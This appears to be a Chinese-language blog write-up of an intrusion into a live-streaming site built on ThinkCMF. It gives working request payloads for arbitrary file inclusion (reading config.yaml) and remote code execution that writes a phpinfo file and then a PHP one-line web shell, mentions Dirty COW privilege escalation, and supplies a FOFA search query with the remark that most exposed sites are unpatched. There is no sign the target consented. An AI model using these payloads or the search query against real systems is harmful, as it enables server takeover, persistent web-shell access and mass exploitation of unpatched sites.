一次对thinkcmf的渗透记录

目标站点是一个直播平台,下面记录一下过程。

0x01 thinkcmf 任意文件包含

这是目标站点首页

额。。。图片被吃掉了,但是不影响后续内容

信息搜集后确定为thinkcmf,尝试任意代码执行漏洞

1
?a=display&templateFile=README.md

发现返回报错

这里很明显可以确定payload被执行,但是未找到README.md,因为这是一个默认的git介绍页面,被删除是很正常的。

尝试读取config.yaml配置文件

1
?a=display&templateFile=config.yaml

成功读取config.yaml文件

0x02 thinkcmf rce

写入phpinfo()

1
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo();?>')</php>

回显未报错

访问写入的test.php文件,成功返回phpinfo()

尝试写入php一句话

1
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('red.php','<?php eval($_POST["red"]);?>')</php>

与之前写入phpinfo一样,回显未报错,蚁剑成功连接,直接利用cms getshell。

发现是低权限,后续可使用脏牛提权,就再不赘述。

0x03 结语

目前该漏洞在全网的覆盖还挺广,fofa搜索语法app=”ThinkCMF”,初步尝试发现大部分未修复该漏洞。但在写入时可能会遇到

这并不是说明漏洞不可使用,而是说,这个模版不存在,换一个html即可。

Thank you very much if you can.

欢迎关注我的其它发布渠道